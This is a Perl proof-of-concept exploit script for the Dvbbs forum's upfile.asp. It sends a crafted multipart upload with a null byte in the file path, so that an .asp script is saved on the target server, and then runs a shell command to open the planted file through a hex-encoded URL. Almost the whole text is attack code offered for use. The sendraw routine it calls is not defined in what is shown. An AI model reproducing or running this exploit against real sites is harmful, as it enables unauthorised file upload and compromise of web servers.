#!/usr/bin/perl

# POC Exploit for Dvbbs Upfile.asp
# Codz by Envymask@ph4nt0m.net
# Thx who discovered this vul

$| = 1;
use Socket;

$host = "www.target.com";
$port = "80";
$way = "/bbs/";

$PostTO = "upfile.asp";
$UploadTo = "uploadFace";
$str =
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"filepath\"\r\n".
"\r\n".
"uploadFace/asp.asp\0\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"act\"\r\n".
"\r\n".
"upload\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\ph4nt0m.jpg\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"ThxMixAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n". #file content
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"fname\"\r\n".
"\r\n".
"C:\ph4nt0m.jpg\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"Submit\"\r\n".
"\r\n".
"上传\r\n".
"-----------------------------7d41290560446\r\n".
"\r\n";

$len=length($str);

$req = "POST $way$PostTO HTTP/1.1\r\n".
# "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/msword, */*\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41290560446\r\n".
# "Accept-Language: zh-cn\r\n".
# "Accept-Encoding: gzip, deflate\r\n".
# "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\r\n".
"Content-Length: $len\r\n".
# "Connection: Keep-Alive\r\n".
# "Cache-Control: no-cache\r\n".
# "Cookie: SessionID=SID=939186193; aspsky=Times=2004%2D5%2D16+13%3A45%3A48; ASPSESSIONIDQQTRTQAT=CBINKPHDEKGKENDDADLJBAAC\r\n".
"Host: $host\r\n".
"\r\n".
"$str\r\n\r\n";

@res = sendraw($req);

$checkstr = "start x68x74x74x70x3Ax2Fx2F$host$way$UploadTo/asp.asp";
`$checkstr`;

#Hmm...Maybe you can send it by other way